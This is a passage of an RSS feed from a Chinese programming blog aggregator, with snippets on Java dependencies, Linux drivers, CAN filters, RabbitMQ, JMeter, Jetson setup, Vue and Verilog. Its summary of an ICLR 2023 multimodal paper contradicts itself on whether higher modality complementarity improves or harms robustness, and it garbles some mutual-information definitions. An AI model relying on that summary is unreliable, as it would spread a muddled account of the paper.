&amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--自动生成器--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-generator&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--pagehelper分页插件--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.pagehelper&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;pagehelper&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.3.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>两篇2023 ICLR多模态论文分享(模态互补性对多模态鲁棒性影响 与 对多模表示学习有效的单模学习)</title>
      <link>https://bchobby.github.io/posts/8cc496de3b36d12d5c64faa791321c4b/</link>
      <pubDate>Wed, 29 Mar 2023 17:52:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cc496de3b36d12d5c64faa791321c4b/</guid>
      <description>Modality Complementariness Towards Understanding Multi modal Robustness 本文讨论了模态互补性在多模态鲁棒性中的重要性，并基于信息论提出了一种数据集层面量化度量，用于量化不同模态之间有多少互补信息，以及这些信息对预测标签有多大贡献。该指标基于互信息神经估计器（MINE）来计算。提出了一个两阶段pipeline，分成数据生成阶段和度量计算阶段。在数据生成阶段，作者生成具有受控模态互补性的数据集。在度量计算阶段，作者使用生成的数据集计算度量并分析结果。，并通过实验验证了其有效性。此外，本文还讨论了各种相关主题，如变压器、对抗性示例和深度学习模型。&#xA;这篇论文的主要贡献是提供了一个统一且可操作的方法来评估和优化多模态学习系统，以及提出了一些有趣且具有启发性的发现，例如：不同任务下最佳模态组合可能不同；单一模态可能包含足够或过剩信息；增加噪声或缺失值可以提高某些情况下的互补性等。本文还为量化多模态和缺失模态或噪声模态的贝叶斯错误率之间的差异提供了理论保证。&#xA;这篇论文的局限性或未来方向有：&#xA;这篇论文的理论分析框架只适用于多模态分类任务，对于其他类型的多模态任务，如生成、检索、对话等，还需要进一步扩展和验证。&#xA;这篇论文的指标计算依赖于互信息神经估计器（MINE），而MINE本身可能存在一些问题，如估计偏差、不稳定性、超参数敏感性等，这些问题可能影响到指标的准确性和可靠性。&#xA;这篇论文的实验设置较为简单，只考虑了两种模态（视觉和语言）以及两种噪声类型（高斯噪声和缺失值），对于更复杂和更真实的多模态场景，还需要进行更多的探索和分析。&#xA;互信息神经估计器（MINE）是一种基于神经网络的方法，用于估计高维连续随机变量之间的互信息。互信息是衡量两个随机变量之间相关性的一个指标，它等于两个随机变量的联合分布与边缘分布之间的KL散度1。MINE利用了一个重要的定理，即最大化一个函数关于联合分布和边缘分布的期望差等价于最大化该函数与互信息之间的下界23。因此，MINE可以通过梯度下降来训练一个神经网络，使其输出接近互信息的下界，并且具有线性可扩展性、灵活性和强一致性。&#xA;MINE的优势有：&#xA;它可以有效地估计高维连续随机变量之间的互信息，而不需要对分布做任何假设或近似。&#xA;它可以通过梯度下降来训练一个神经网络，使其输出接近互信息的下界，而不需要计算复杂的积分或优化问题。&#xA;它具有线性可扩展性、灵活性和强一致性，即它可以处理任意维度和样本大小的数据，并且在样本趋于无穷时，它的估计值会收敛到真实值。&#xA;MINE的缺点有：&#xA;它依赖于一个超参数，即神经网络的结构和激活函数，这些选择可能影响到估计值的准确性和稳定性。&#xA;它可能存在一些估计偏差，即它的估计值可能低于或高于真实值，这取决于神经网络的初始化和训练过程。&#xA;它可能受到样本相关性、噪声、离群点等因素的干扰，导致估计值不准确或不可靠。&#xA;有很多方法可以估计互信息，其中一些常见的有：&#xA;直接方法：这种方法通过呈现来自p(S)的刺激，并从重复呈现相同刺激来估计hΔ(R|S)，从而估计hΔ®和hΔ(R|S)。由于估计p(R|S)所需的数据量通常很大，因此大多数研究者采用一些技术来给I(S;R)设置上下界。&#xA;基于k最近邻的方法：这种方法通过利用k最近邻距离来估计熵和互信息，不需要对数据进行分箱或假设分布的形式。它具有非参数性、鲁棒性和一致性，但也存在一些缺点，如高维空间中距离度量的困难、超参数k的选择和样本相关性的影响。&#xA;基于几何k最近邻的方法：这种方法是基于k最近邻的方法的改进，它通过在流形上定义距离度量来克服高维空间中欧氏距离失效的问题。它利用了流形学习中的局部线性嵌入（LLE）算法，将数据映射到一个低维空间，然后在该空间中使用k最近邻算法来估计互信息。、&#xA;论文的3.1节主要讲了多模态互补性度量（Modality Complementarity Metric），这是一个用来评估多模态数据中不同模态之间信息互补程度的指标。该指标基于信息熵（Entropy）和互信息（Mutual Information）的概念，可以反映出多模态数据中每个模态对整体信息的贡献和冗余。该指标可以用来预测多模态模型在不同场景下的鲁棒性，例如缺失某个模态、某个模态受到噪声或对抗攻击等&#xA;论文的3.2节主要讲了多模态互补性度量的理论分析（Theoretical Analysis of Modality Complementarity Metric），这是一个用来证明该指标与多模态鲁棒性之间关系的数学推导。该分析基于贝叶斯风险（Bayesian Risk）和最小化期望损失（Minimizing Expected Loss）的原则，给出了在不同场景下，多模态互补性度量与多模态模型性能之间的上下界。该分析表明，当某个模态缺失或受到噪声或对抗攻击时，多模态互补性度量越高，多模态模型的性能下降越小。&#xA;这篇论文的3.3节主要讨论了如何在真实世界的多模态数据集上计算模态互补性度量，并展示了不同数据集的模态互补性和多模态鲁棒性之间的关系。&#xA;论文中的图2显示了在不同设置下，模态互补性和多模态鲁棒性之间的关系。模态互补性是一种度量每种模态对其他模态增加多少信息的指标。多模态鲁棒性是指一个模型在某些模态缺失或受损时能够表现良好的能力。&#xA;图2的作用是说明论文的主要思想：模态互补性影响多模态鲁棒性。互补性越高，模型对缺失或噪声模态越敏感。互补性越低，模型对这种情况越鲁棒 。&#xA;I(X; Y, Z)表示X和(Y, Z)之间的互信息，即X减少了对(Y, Z)的不确定性的程度。它等于(Y, Z)的熵减去给定X时(Y, Z)的熵。&#xA;I(Z; Y, X) 表示 Z 和 (Y, X) 之间的模态互补性，即 Z 在 (Y, X) 缺失或受损时能够减少对 (Y, X) 的不确定性的程度。它等于 (Y, X) 的熵减去给定 Z 时 (Y, X) 的熵。</description>
    </item>
    <item>
      <title>platform架构完成，在应用层通过ioctl控制LED灯流水，当按键KEY1按下让风扇转动</title>
      <link>https://bchobby.github.io/posts/e8969622b8e9cf83da3adbc4942ebe40/</link>
      <pubDate>Wed, 29 Mar 2023 17:07:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8969622b8e9cf83da3adbc4942ebe40/</guid>
      <description>实现过程：&#xA;驱动代码:&#xA;#include &amp;lt;linux/init.h&amp;gt; #include &amp;lt;linux/module.h&amp;gt; #include &amp;lt;linux/of_gpio.h&amp;gt; #include &amp;lt;linux/of_irq.h&amp;gt; #include &amp;lt;linux/interrupt.h&amp;gt; #include &amp;lt;linux/fs.h&amp;gt; #include &amp;lt;linux/uaccess.h&amp;gt; #include &amp;lt;linux/list.h&amp;gt; #include &amp;lt;linux/stddef.h&amp;gt; #include &amp;lt;linux/spinlock.h&amp;gt; #include &amp;lt;asm/current.h&amp;gt; #include &amp;lt;uapi/linux/wait.h&amp;gt; #include &amp;lt;linux/cdev.h&amp;gt; #include &amp;lt;linux/slab.h&amp;gt; #include &amp;lt;linux/poll.h&amp;gt; #include &amp;lt;linux/platform_device.h&amp;gt; #include &amp;lt;linux/mod_devicetable.h&amp;gt; // 开关灯命令码 #define LED1 _IOW(&#39;a&#39;, 1, int) #define LED2 _IOW(&#39;a&#39;, 2, int) #define LED3 _IOW(&#39;a&#39;, 3, int) struct cdev *cdev; // 驱动设备对象 dev_t devno; // 设备号 unsigned int major = 0; // 动态态指定主设备号 unsigned int minor = 0; // 次设备号 struct class *cls; // 目录信息 struct device *dev; // 设备节点信息 struct device_node *led_node, *interrupt_node, *fnode; // 灯节点,中断节点，灯节点的子节点 struct gpio_desc *gpio_num[4] = {0}; // gpio编号 char *led[4] = {&#34;</description>
    </item>
    <item>
      <title>CAN总线 标准帧/扩展帧滤波器设置</title>
      <link>https://bchobby.github.io/posts/c6dd01f184eba2b19c00ad7e33910502/</link>
      <pubDate>Wed, 29 Mar 2023 16:37:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6dd01f184eba2b19c00ad7e33910502/</guid>
      <description> 在CAN协议里，报文的标识符不代表节点的地址，而是跟报文的内容相关的。因此，发送者以广播的形式把报文发送给所有的接收者。节点在接收报文时,根据标识符(CAN ID)的值决定软件是否需要该报文；如果需要，就拷贝到SRAM里；如果不需要，报文就被丢弃且无需软件的干预。&#xA;为满足这一需求，bxCAN为应用程序提供了14个位宽可变的、可配置的过滤器组(13~0)，以便只接收那些软件需要的报文。硬件过滤的做法节省了CPU开销，否则就必须由软件过滤从而占用一定的CPU开销。每个过滤器组x由2个32位寄存器，CAN_FxR0和CAN_FxR1组成。&#xA;//标准帧 T_CAN_Filter gtCan1Filter[] = {{0,(0x305 &amp;lt;&amp;lt; 21), (0x07FF &amp;lt;&amp;lt; 21)},}; //ID = 0x305 //扩展帧 T_CAN_Filter gtCan1Filter[] = {{0, (0x0000FF00 &amp;lt;&amp;lt; 3), (0x0000FF00 &amp;lt;&amp;lt; 3)},};// ID = 0xFF #define CAN_FILTER_NUM (sizeof(gtCan1Filter) / sizeof(gtCan1Filter[0])) for(; uIndex &amp;lt; CAN1_FILTER_NUM; uIndex++) { CAN_FilterInitStructure.CAN_FilterNumber = gtCan1Filter[uIndex].uFilterNumber; CAN_FilterInitStructure.CAN_FilterMode = CAN_FilterMode_IdMask; CAN_FilterInitStructure.CAN_FilterScale = CAN_FilterScale_32bit; CAN_FilterInitStructure.CAN_FilterIdHigh = gtCan1Filter[uIndex].uFilterId&amp;gt;&amp;gt; 16; CAN_FilterInitStructure.CAN_FilterIdLow = gtCan1Filter[uIndex].uFilterId; CAN_FilterInitStructure.CAN_FilterMaskIdHigh = gtCan1Filter[uIndex].uFilterMaskId&amp;gt;&amp;gt; 16; CAN_FilterInitStructure.CAN_FilterMaskIdLow = gtCan1Filter[uIndex].uFilterMaskId; CAN_FilterInitStructure.CAN_FilterFIFOAssignment = CAN_Filter_FIFO0; CAN_FilterInitStructure.CAN_FilterActivation = ENABLE; CAN_FilterInit(&amp;amp;CAN_FilterInitStructure); } </description>
    </item>
    <item>
      <title>Element-UI表格自定义背景颜色</title>
      <link>https://bchobby.github.io/posts/f3ca249dd25fd9316d8941036cb694dc/</link>
      <pubDate>Wed, 29 Mar 2023 15:32:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3ca249dd25fd9316d8941036cb694dc/</guid>
      <description>笔记&#xA;1.如图所示&#xA;2. 自定义样式&#xA;此处自定义设置时要加 /deep/、important，否则不生效；&#xA;&amp;lt;style scoped=&#34;scoped&#34;&amp;gt; // 更改表头背景颜色 /deep/.el-table thead tr&amp;gt;th{ background-color: #FFDAB9; } // 更改表格每行背景颜色 /deep/.el-table tbody tr&amp;gt;td{ background-color: #FFEFD5; } // 设置鼠标经过时背景颜色 /deep/.el-table tbody tr:hover&amp;gt;td{ background-color:#FFFFF0!important; } &amp;lt;/style&amp;gt; 清除鼠标经过时的背景颜色：&#xA;/deep/.el-table tbody tr:hover&amp;gt;td{&#xA;background-color: unset !important;&#xA;}&#xA;* 如果未设置!important该效果不生效&#xA;自定义样式时使用f12查看元素，找到对应元素的标签或者类名，如果&amp;lt;style scoped=&#34;scoped&#34;&amp;gt;设置scoped就需要加/deep/，有的还需要!important才会生效。</description>
    </item>
    <item>
      <title>springboot：整合rabbitmq之重试机制</title>
      <link>https://bchobby.github.io/posts/7e59ec4b4e1496b410fbfaf43656b9a1/</link>
      <pubDate>Wed, 29 Mar 2023 14:50:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e59ec4b4e1496b410fbfaf43656b9a1/</guid>
      <description>当我们消息消费失败的时候，可以进行重试，&#xA;什么情况下会重发消息&#xA;1、网络抖动&#xA;2、程序抛出异常没有try-catch&#xA;RabbitMQ自动补偿机制触发:(多用于调用第三方接口)&#xA;1.当我们的消费者在处理我们的消息的时候,程序抛出异常情况下(默认无限次数重试),如果这里的异常try-catch后自己配置的重试机制是不生效的&#xA;2.应该对我们的消息重试设置间隔重试时间,比如消费失败最多只能重试5次,间隔3秒(防止重复消费,幂等问题)&#xA;如果重试5次,也就是15秒内重试还是失败情况下应该如何处理&#xA;1.默认情况下,重试多次还是失败的话,会自动删除该消息(消息可能会丢失)&#xA;解决思路:&#xA;A:如果重试多次还是失败的情况下,最终存放到死信队列.&#xA;B:采用表日志记录,消费失败错误的日志记录 后期人工自动对消息实现补偿.&#xA;一、项目准备&#xA;依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-amqp&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 配置类&#xA;spring.rabbitmq.port=5672 spring.rabbitmq.username=rabbit spring.rabbitmq.password=123456 spring.rabbitmq.addresses=192.168.23.145 spring.rabbitmq.virtual-host=/rabbit 二、案例重现&#xA;# 声明队列 @Configuration public class HelloWorldConfig { @Bean public Queue setQueue() { return new Queue(&#34;helloWorldqueue&#34;); } } # 生产者 @Slf4j @RestController public class ProducerController { @Autowired private RabbitTemplate rabbitTemplate; //helloWorld 直连模式 @ApiOperation(value=&#34;helloWorld发送接口&#34;,notes=&#34;直接发送到队列&#34;) @GetMapping(value=&#34;/helloWorldSend&#34;) public Object helloWorldSend(String message) throws AmqpException, UnsupportedEncodingException { //设置部分请求参数 MessageProperties messageProperties = new MessageProperties(); messageProperties.</description>
    </item>
    <item>
      <title>在Linux上JMeter压测报错java.lang.OutOfMemoryError: Java heap space 解决方法【纯干货，无废话】</title>
      <link>https://bchobby.github.io/posts/d349f2cc69f1d7393d0c0bba4263929e/</link>
      <pubDate>Wed, 29 Mar 2023 11:23:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d349f2cc69f1d7393d0c0bba4263929e/</guid>
      <description>在Linux上压测报错JMeter内存溢出：java.lang.OutOfMemoryError: Java heap space 解决方法【纯干货，无废话】&#xA;问题： 使用jmeter进行压测过程中,并发数过大时会导致内存溢出,jmeter卡死，内存泄露是指使用资源后没有及时释放, 导致内存中持有了不需要的资源; 内存溢出是指应用的内存已经不能满足正常使用了，堆栈已经达到系统设置的最大值，进而导致Crash；用JMeter压测，有时候当模拟并发请求较大或者脚本运行时间较长时，JMeter会停止，报OOM（内存溢出）错误， 并发线程高，内存溢出问题&#xA;Uncaught Exception java.lang.OutOfMemoryError: Java heap space in thread Thread[StandardJMeterEngine,5,main]. See log file for details.&#xA;原因是：JMeter是一个纯Java开发的工具，内存由java虚拟机JVM管理，当内存回收不及时，堆内存不足时，就会报内存溢错误。 # 概念补充： 内存泄露：应用使用资源之后没有及时释放，导致应用内存中持有了不需要的资源。 内存溢出：应用的内存已经不能满足正常使用了，堆栈已经达到系统设置的最大值，进而导致崩溃。 通常都是由于内存泄露导致堆栈内存不断增大，从而引发内存溢出。 对JMeter而言也是如此，JMeter测试过程中，如果内存溢出的话，一般会出现上图中的提示：java.lang.OutOfMemoryError: Java heap space：意思就是堆内存溢出，不够用了 答案： 1.Linux下jmeter jvm参数修改,打开jmeter安装目录/bin/jmeter （非jmeter.sh 文件）&#xA;2.解决方法如下：&#xA;解决： 编辑jmeter 搜索 : &#34;${HEAP:=&#34;-Xms1g -Xmx1g -XX:MaxMetaspaceSize=256m&#34;}&#34; 改变初始堆内存和最大堆内存 根据自己的机器内存修改，我改的是： “${HEAP:=”-Xms2g -Xmx5g -XX:MaxMetaspaceSize=2024m&#34;}&#34; “${HEAP:=”-Xms2g -Xmx6g -XX:MaxMetaspaceSize=2024m&#34;}&#34; “${HEAP:=”-Xms4g -Xmx10g -XX:MaxMetaspaceSize=3000m&#34;}&#34; 3.发布后正常启动。&#xA;注意 这个值不是越大越好，要根据压测使用的机器而定，一般而言，堆内存的最大值不要超过物理内存的一半，否则容易导致jmeter运行变慢、&#xA;卡顿甚至内存溢出（因为java本身的垃圾回收机制是动态分配内存，调整的时候其本身会占用很多内存），NEW分配的内存，不宜太大。&#xA;2、修改完成后保存，重启JMeter，即可生效。&#xA;小结 1、这种修改堆大小的方法只适用一部分情况，并不是万能的，当需要模拟的线程数较大时，就需要根据具体情况采用分布式压测的方式了。&#xA;2、命令行运行JMeter时，一定要禁用“查看结果树”、“聚合报告”等监听器，因为真的真的真的很消耗内存。&#xA;jmeter压测结束出现java_pid58971.hprof from chatGp answer: jmeter压测结束出现java_pid58971.</description>
    </item>
    <item>
      <title>软考高项第4版教程-差异点解析来啦（第4章）</title>
      <link>https://bchobby.github.io/posts/6841739ab8dae9f2b0da899035b2e315/</link>
      <pubDate>Wed, 29 Mar 2023 11:14:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6841739ab8dae9f2b0da899035b2e315/</guid>
      <description>上周已经开始啦！我结合拿到的新版教程，陆续展开的更加深入和细致的解读，帮助你精准把握考试大纲及教程的变化，进而在接下来的考试中旗开得胜！&#xA;上周带来了第1章和第2章，前天带来了第3章，没有看到的疯友可以去翻历史文章，这次给你带来的是第4章“信息系统管理”的差异点解读，不好意思，写着写着没控制住，一下写了3000多字，以后我多注意&#xA;“信息系统管理”文字版 第4章信息系统管理，一共包含2小节的知识块，分别是“管理方法”和“管理要点”。&#xA;除了信息安全管理之外，这一章绝大部分内容都是第4版教程新增加的，特别是数据管理部分，是本章的重头戏。这也呼应了这版新教程向数字化和数字中国倾向的目的，值得你认真学习。&#xA;这一章给我的感受和上一章很类似，包含的信息量太多了，每个都是面面俱到，但是每个都是蜻蜓点水，甚至连水都没碰到就飞走了，其中信息含量如果完全展开，大概是5本左右的专业书籍。&#xA;咱们考高项肯定不需要学这么深入，但是到底学到什么层面就可以了呢？我会在后续的第4版教程加餐视频课中详细说给你听，不过这里如果简要讲，你只需要理解其中的概念名词就好了。&#xA;下面我带你一起逐个小节分析下第4版教程的考试重点&#xA;“管理方法”知识块，包含了全生命周期管理中的“规划和组织”、“设计和实施”、“运维和服务”和“优化和持续改进”4大阶段。&#xA;1.信息系统层次架构图&#xA;这个小节一开始给你展示了信息系统层次架构图，这个图很简单，但是理解了这个图，你也就理解了管理的精髓，这个一点都不夸张。&#xA;信息系统之上是管理，说明信息系统是为管理服务，信息系统之下是信息系统的4个要素：人员、技术、流程和数据。&#xA;回想下你或者你老板在公司做管理时，是不是提到最多的是人力资源、技术能力、流程改进和数据资产？&#xA;2.战略三角&#xA;规划和组织提到了战略三角，信息系统战略三角突出了业务战略、信息系统和组织机制之间的必要一致性。&#xA;你需要掌握三角是哪三个角，应对可能出选择题的可能，最好你也能够理解这3个角之间的关系，也许能帮助你在公司踏上高管之路也不一定哦。&#xA;3. 竞争力优势模型&#xA;描述业务战略的经典框架是波特的竞争力优势模型，你没看错，还是那个熟悉的波特，那个提出了经典竞争力五力模型的迈克尔波特，而且更为传奇的是，波特竟然还健在，还和我们一样活在2023年，被誉为“活着的传奇”。&#xA;波特提到的3种竞争力优势模型比较好理解，分别是：总成本领先战略、差异性战略和专注化战略。记住这3个战略的名字和含义，可能选择题或者选择中的判断题会考到&#xA;4.钻石模型&#xA;这一章有特别多的管理学模型，钻石模型将组织计划的关键组成部分标识为：信息与控制、人员、结构和任务，4个部分形成一个钻石的形状，也是用来考选择题比较好的考点，因为选择题有4个选项，钻石模型也有4个要素，多好的出题点：）&#xA;5.信息系统战略矩阵&#xA;信息系统战略矩阵用来理解组织必须做出的与信息系统相关的决策。其中包含的四个基础结构组件可以了解，分别是硬件、软件、网络和数据，这个没什么好说的，你应该都熟悉&#xA;回顾下，以上提到的竞争力优势模型、钻石模型和信息系统战略矩阵，其实都是在讲战略三角的3条边，在这之后，第4版教程开始进入第2个阶段“设计和实施”&#xA;6.设计和实施阶段&#xA;“设计和实施”阶段有2个相对重要的考点。&#xA;1个考点是使用转换框架，将业务战略转化为信息系统架构，然后再将该架构转化为信息系统设计&#xA;另外1个考点是信息系统体系架构。传统上，信息系统体系架构有三种常见模式：1）集中式架构；2）分布式架构；3）面向服务的系统架构。这3种架构的特点以及彼此之间的区别，你需要在学习的时候重点关注和掌握。&#xA;第3个阶段是运维和服务阶段。这个小节，第4版教程在不到4页的篇幅内，讲了其中包含的8类管理活动，你可以想象得到，只有讲的非常非常浅，才能做到吧。&#xA;这长达8类的管理活动包括：运行管理和控制、IT服务管理、运行与监控，终端侧管理、程序库管理、安全管理、介质控制和数据管理。&#xA;7.IT服务管理&#xA;我个人建议你把学习的重心放在前面5个活动上，特别是IT服务管理活动。IT服务管理包含了11个活动，让我情不自禁想到了俄罗斯套娃。&#xA;这11个活动分别是：服务台、事件管理、问题管理、变更管理、配置管理、发布管理、服务级别管理、财务管理、容量管理、服务连续性管理和可用性管理。&#xA;8.DMAIC/DMADV&#xA;最后一个阶段是“ 优化和持续改进”，第4版教程 从PDCA 循环切入，重心却落到了六西格玛的五阶段方法 DMAIC/DMADV，其中包含的5个阶段（定义 、度量、分析 、改进/设计 、控制/ 验证 ）&#xA;每个阶段的目标你需要认真复习，我会在第4版教程的加餐视频课也会重点讲解。理解了各个阶段的目标，其实就理解了DMAIC/DMADV。&#xA;有没有发现，我前面不知不觉已经写了1000多字，都是在分析第1个“管理方法”知识块，这个知识块就是按照4个阶段来组织教程结构的。&#xA;接下来，进入第2个知识块“管理要点”。第2个知识块只有1个大块头知识点：数据管理。&#xA;这里面的数据管理，提到的是数据管理能力成熟度评估模型DCMM，DCMM一共有 8个核心能力域，又是“8”这个熟悉数字，前面的“运维和服务阶段”也是8个活动。&#xA;9.DCMM8个核心能力域&#xA;DCMM的8个核心能力域，分别是数据战略、数据治理、数据架构、数据应用、数据安全，数据质量、数据标准和数据生存周期。&#xA;首先要提到的是，第4版教程非常明显的特点是求大而全，这里的数据管理一共才12页，但是其中包含的内容是好几本数据类专业书的内容，你学习起来会感觉很抽象是不可避免的，不过我还是建议你要坚持学下去，&#xA;另外一个小建议是提前了解下数据类的专业术语，比如什么是主数据、什么是参考数据、什么是元数据，什么又是数据元。这几个专业术语我会在加餐视频课讲到，了解这几个专业术语后，有助于你对接下来8个核心能力域的理解。&#xA;8个核心能力域，你需要掌握每个能力域的能力项。我简单数了下，大概每个能力域有3-4个能力项，一共加起来是28个能力项。&#xA;看起来的确是挺多的，多也需要掌握，但是呢，并不意味着你要背诵的滚瓜烂熟，而是需要理解中记忆，能记忆到什么程度就是什么程度，关键还是要去理解。&#xA;10.理论框架与成熟度&#xA;接下来就是一些小知识点了，比如DCMM 将组织的管理成熟度划分为5个等级，分别是：初始级、受管理级、稳健级、量化管理级和优化级。&#xA;至于接下来提到的数据治理框架、数据管理能力评价模型、数据管理模型，教程中只有寥寥几笔，我个人建议暂时不用作为重点，一带而过。&#xA;11.运维管理&#xA;“运维管理”小节提到了IT运维能力模型，这个模型包含治理要求、运行维护服务能力体系和价值实现3个组成部分。&#xA;这里的重点是人员、过程、技术、资源能力四要素。接下来教程里面提到了智能运维，智能运维我认为你主要结合图来理解即可。&#xA;12.信息系统安全管理&#xA;也许习惯了第3版教程把安全独立成章，在第4章最后加入安全管理总感觉有些违和感，特别是篇幅也少的可怜，也就2页多的内容。&#xA;信息系统安全管理，你需要掌握CIA三要素、网络安全等级保护五级、安全保护能力等级五级。&#xA;以上就是我对第4章信息系统管理的新版教程差异点（重点）的分析。&#xA;最后预报下我对第5章的安排：第5章内容巨多，篇幅顶得上2章内容，为了能够分析透彻，同时文章控制2000字以内，我计划将第5章差异点分析拆分成上下两篇，敬请期待，谢谢。&#xA;“信息系统管理”脑图版 除了上面介绍的差异点之外，我还结合我的理解，制作了第4章的重点考点的思维导图，</description>
    </item>
    <item>
      <title>Jetson Xavier NX</title>
      <link>https://bchobby.github.io/posts/c6644da1da9642a6fda4c49c5825ca56/</link>
      <pubDate>Wed, 29 Mar 2023 11:02:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6644da1da9642a6fda4c49c5825ca56/</guid>
      <description>Jetson Xavier NX `提示：记录学习过程，倘若有抄袭请原谅&#xA;文章目录 Jetson Xavier NX前言一、安装系统二、烧镜像三、启动系统打开风扇先 四、配置VNC（此处借鉴）五、安装中文输入法六、安装cuda七、安装pytorch跟torchvision八、试试，以nandet试试九、其它扩展-安装ros十、格式化NX跟nano的sd卡 前言 例如：小编作为智能专业学生，虽然现在工作嵌入式，但是玩转ai的心一直都有，所以手头有一块Jetson Xavier NX ，所以来玩玩。&#xA;一、安装系统 小编是从别人那里拿来的，当然我也用科学上网去下载过，一样的&#xA;这是Jetson NX 的镜像&#xA;链接：https://pan.baidu.com/s/1YSXiZFcMvNRpYnc5gKwifg&#xA;提取码：ages&#xA;这是Jetson nano b01的镜像&#xA;这里是引用&#xA;nano的镜像是小编处理过的，所以比较大，但是可以直接烧入进去&#xA;二、烧镜像 这里很简单 ，NX找个最少64G的内存卡，128g最佳，nano最低16G,小编分别用的是128G跟32G,&#xA;然后下载&#xA;链接：https://pan.baidu.com/s/1A0I-nVf68n7FnXYdBJDy-A&#xA;提取码：wpfa&#xA;上面是内存卡格式化工具跟烧入工具&#xA;格式化&#xA;烧入&#xA;这里时间比较久，建议打一局王者，或者该干嘛干嘛去，打完就会出现write successful&#xA;三、启动系统 nani跟nx都是内存卡启动，这里需要外接键盘跟显示器跟鼠标，对于初始化系统自己设置就行默认，然后就看到英伟达的标志界面，还是挺好看的对吧&#xA;打开风扇先 sudo sh -c “echo 150 &amp;gt; /sys/devices/pwm-fan/target_pwm”&#xA;四、配置VNC（此处借鉴） VNC是啥，就是一款远程的方式，可以说软件，也可以说协议&#xA;这里我们为了方便我们用putty远程他们之间用wifi相连或者网线，然后ifconfig获取ip，&#xA;远程过去后我们先&#xA;sudo passwd root&#xA;输入的密码还可以跟以前的一样&#xA;su: Authentication failure&#xA;hiden@hiden:~$ sudo apt-get update&#xA;Reading package lists… Done&#xA;E: Could not get lock /var/lib/apt/lists/lock - open (11: Resource temporarily unavailable)</description>
    </item>
    <item>
      <title>在vue中给组件设置name报错` Component name “Head“ should always be multi-word.eslint`</title>
      <link>https://bchobby.github.io/posts/854b79c91fd9e6d5ff9106f6daa637c9/</link>
      <pubDate>Tue, 28 Mar 2023 23:22:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/854b79c91fd9e6d5ff9106f6daa637c9/</guid>
      <description>在vue中给组件设置name报错Component name &#34;Head&#34; should always be multi-word.eslintvue/multi-word-component-names 报错的原因： 在组件命名的时候未按照 ESLint 的官方代码规范进行命名，根据 ESLint 官方代码风格指南，除了根组件（App.vue）以外，其他自定义组件命名要使用大驼峰命名方式或者用“-”连接单词进行命名；&#xA;解决： 1.配置 .eslintrc.js文件 关闭命名规则&#xA;找到 .eslintrc.js 文件在 rules 里面加上这么一句&#xA;// 关闭名称校验 &#39;vue/multi-word-component-names&#39;: &#34;off&#34; 建议使用这种方法，更加正确合理； 2.如果没有找到.eslintrc.js文件 可以把&#34;vue/multi-word-component-names&#34;: &#34;off&#34; 加在packsge.json–&amp;gt;eslintConfig–&amp;gt;rules里面&#xA;原文地址：添加链接描述</description>
    </item>
    <item>
      <title>超前进位加法器 verilog代码</title>
      <link>https://bchobby.github.io/posts/4e4737a3e4e9f8f3619fb6ad8ef21b7a/</link>
      <pubDate>Tue, 28 Mar 2023 20:37:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e4737a3e4e9f8f3619fb6ad8ef21b7a/</guid>
      <description>超前进位加法器（Carry LookAhead Adder） 设计思想&#xA;由于行波进位加法器具有明显的延迟，从图中可以看出延迟主要是由进位传播链引起的，因此如何可以快速得到每一位的进位信号是加速计算的关键，这里提出了一种新的设计思想，即让每一位进位的产生近依赖于同一输入信号，这样便可以同时计算得到每一位的进位信号。&#xA;公示推导&#xA;这里引入两个信号位：进位产生位（gi）和进位传递位（pi），使得所有各位的进位都不依赖于低位的进位，每一位的进位可以同时产生，因而得到结果的延迟与运算位数无关，逻辑表达式如下：&#xA;四位加法器的计算公式：&#xA;架构图 理论上对于64位加法器的设计同样可以按照上面的推导全部展开，然而此时ci的表达式太长，意味着对逻辑门扇入和扇出的要求太大，电路的实现会变得十分复杂。因此设计64位的超前进位加法器可以采用多级分层实现的方案。将64位输入分解为16组4位的超前进位加法器，第一级得到得到的16组为超前进位的第二级，该级组间仍然使用超前进位的逻辑进行实现，可以进一步再分为4组，形成第三级。因此这里设计的64位超前进位加法器由3级超前进位逻辑实现。&#xA;上图为32位加法器示意图，64位架构与其相同。&#xA;关键路径分析&#xA;图中红色路径为此加法器的关键路径，可以看出此加法器的延迟为3级超前进位的产生延迟，与操作数位数的延迟关系为T=Log(N)*t(CLA)&#xA;verilog代码&#xA;module adder_nocarry( input A,B,C_in, output S, output g,p ); assign S = A ^ B ^ C_in; assign g = A &amp;amp; B; assign p = A ^ B; endmodule module adder_LKAHD_4bit( //超前三位计算进位信号 input [3:0]A,B, input C_in, output [3:0]Y, output G,P ); wire [3:0]c,g,p; adder_nocarry add0 